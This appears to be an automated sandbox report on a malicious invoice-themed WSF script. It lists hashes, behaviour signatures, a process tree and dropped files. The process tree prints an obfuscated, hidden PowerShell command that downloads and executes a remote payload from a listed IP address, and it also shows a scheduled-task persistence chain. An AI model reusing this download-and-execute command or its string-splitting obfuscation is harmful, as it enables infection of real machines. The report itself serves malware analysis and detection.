Analysis

  • max time kernel
    128s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20231020-en
  • resource tags

    arch:x64arch:x86image:win7-20231020-enlocale:en-usos:windows7-x64system
  • submitted
    15/11/2023, 17:36

General

  • Target

    Invoice#57348024.wsf

  • Size

    113KB

  • MD5

    fa5cbc00cbaa12bb4b45fca8d5075587

  • SHA1

    5d4c9493654c9abd21354bb9f3424726ade1b8f3

  • SHA256

    c57ecd0aeea0978f281e66541e3645290619eb8bc36882a2155c3cd61fee91af

  • SHA512

    0b1f0107e347b37f92de84dd8f277dda4cba2bec70f6342801b8c51c4efa216a16be68aeeac42f95b7d90c44e548a541c68488ce1242b6d04b777439c7bff219

  • SSDEEP

    768:H88888888888g88888888888Z88888888888V88888888888h88888888888g88t:u

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Invoice#57348024.wsf"
    1⤵
    • Blocklisted process makes network request
    • Suspicious use of WriteProcessMemory
    PID:1740
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NOP -WIND HIDDeN -eXeC BYPASS -NONI [BYTe[]];$A123='IeX(NeW-OBJeCT NeT.W';$B456='eBCLIeNT).DOWNLO';[BYTe[]];$C789='/-/--/-/(''http://185.81.157.213:222/T2.jpg'')'.RePLACe('/-/--/-/','ADSTRING');[BYTe[]];IeX($A123+$B456+$C789)
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2372
  • C:\Windows\system32\taskeng.exe
    taskeng.exe {621E7F4B-3D81-4514-BE1E-95609E1AD55A} S-1-5-21-1154728922-3261336865-3456416385-1000:TLIDUQCQ\Admin:Interactive:[1]
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2128
    • C:\Windows\System32\WScript.exe
      C:\Windows\System32\WScript.exe "C:\Users\Public\libraries.vbs"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2884
      • C:\Windows\System32\cmd.exe
        cmd /c ""C:\Users\Public\libraries.bat" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3064
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "& 'C:\Users\Public\libraries.ps1'"
          4⤵
          • Drops file in System32 directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1044

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\0SEUEWKVE1EWJUV6V9MK.temp

          Filesize

          7KB

          MD5

          b7d4b468b2ca222fb1effc4c9af39d4d

          SHA1

          48cc3f0f3d1d3f17291cddaa0ae9946bef7b07bc

          SHA256

          ff58f3831330d8b034b04c539c4482c25d0364a64883c07e5c669facb9811434

          SHA512

          328d15cb8edac3fbf01bbeb7734fa53c38e1317c57e1f501ffe533e719a42767e39d383c48a68f98bb3667f95e5d8159ec37402d4144d6ffa8b48a9ab06cfc2a

        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

          Filesize

          7KB

          MD5

          ae53949ecef5bb08672d3fc437236623

          SHA1

          3bd18aa9c9f02a1a6be0c5ead2dbafb3cf5dcc00

          SHA256

          fe1285eeb97678918274be551bcf5ce715d1178e96efaf624c9c87f11c957201

          SHA512

          743fc454bfca48e6582d1aafc0ba2209ddb4e3c5d50570068a84437eb74ed40324536fdb1b54b30bcfe4fb8d53212117e6afe1221ce0a6f6cb3f27c4a6da6915

        • C:\Users\Public\libraries.bat

          Filesize

          210B

          MD5

          440e905a6fcf6bcc0ffe763896e21044

          SHA1

          89bf89ca871095dd7431147a4e0c993bfdba897e

          SHA256

          aae3e34c1f6bf5eaf7c91afec528d24ac1b10272705be506653b29df17d6e834

          SHA512

          f324dbff528e9579f81af84c09ab45ef87cd8e516cb22a5f99e432d4d1ca528f3e5d8f7a1f479076a89c18cd44bbaa10df4f6a1fcdc3fe8937febadb892d89fd

        • C:\Users\Public\libraries.vbs

          Filesize

          691B

          MD5

          882c260115cfacc236251d065cc23c4c

          SHA1

          cee58dd936e493370224db57ca49c4d6c0cbfeff

          SHA256

          1d1595fdd363891dd2d9d081059b2dcbca1edc72c80b6c637436a9090ba2564a

          SHA512

          d1279bcc0150ba96164445a98fdb5ff5ef6cde81460af71612ee0f0a7ac8155f9d3a73aa26ccb53a9da6493e078aef42e20ca26011f0f5aa855f5ced61236641

        • memory/1044-27-0x000007FEF4F40000-0x000007FEF58DD000-memory.dmp

          Filesize

          9.6MB

        • memory/1044-24-0x000000001B420000-0x000000001B702000-memory.dmp

          Filesize

          2.9MB

        • memory/1044-31-0x000007FEF4F40000-0x000007FEF58DD000-memory.dmp

          Filesize

          9.6MB

        • memory/1044-30-0x0000000002A80000-0x0000000002B00000-memory.dmp

          Filesize

          512KB

        • memory/1044-29-0x00000000024D0000-0x00000000024D8000-memory.dmp

          Filesize

          32KB

        • memory/1044-28-0x0000000002A80000-0x0000000002B00000-memory.dmp

          Filesize

          512KB

        • memory/1044-26-0x0000000002A80000-0x0000000002B00000-memory.dmp

          Filesize

          512KB

        • memory/1044-25-0x000007FEF4F40000-0x000007FEF58DD000-memory.dmp

          Filesize

          9.6MB

        • memory/2372-11-0x000007FEF5340000-0x000007FEF5CDD000-memory.dmp

          Filesize

          9.6MB

        • memory/2372-8-0x0000000002390000-0x0000000002398000-memory.dmp

          Filesize

          32KB

        • memory/2372-9-0x000007FEF5340000-0x000007FEF5CDD000-memory.dmp

          Filesize

          9.6MB

        • memory/2372-7-0x000000001B280000-0x000000001B562000-memory.dmp

          Filesize

          2.9MB

        • memory/2372-10-0x00000000022C0000-0x0000000002340000-memory.dmp

          Filesize

          512KB

        • memory/2372-12-0x00000000022C0000-0x0000000002340000-memory.dmp

          Filesize

          512KB

        • memory/2372-16-0x000007FEF5340000-0x000007FEF5CDD000-memory.dmp

          Filesize

          9.6MB

        • memory/2372-13-0x00000000022C0000-0x0000000002340000-memory.dmp

          Filesize

          512KB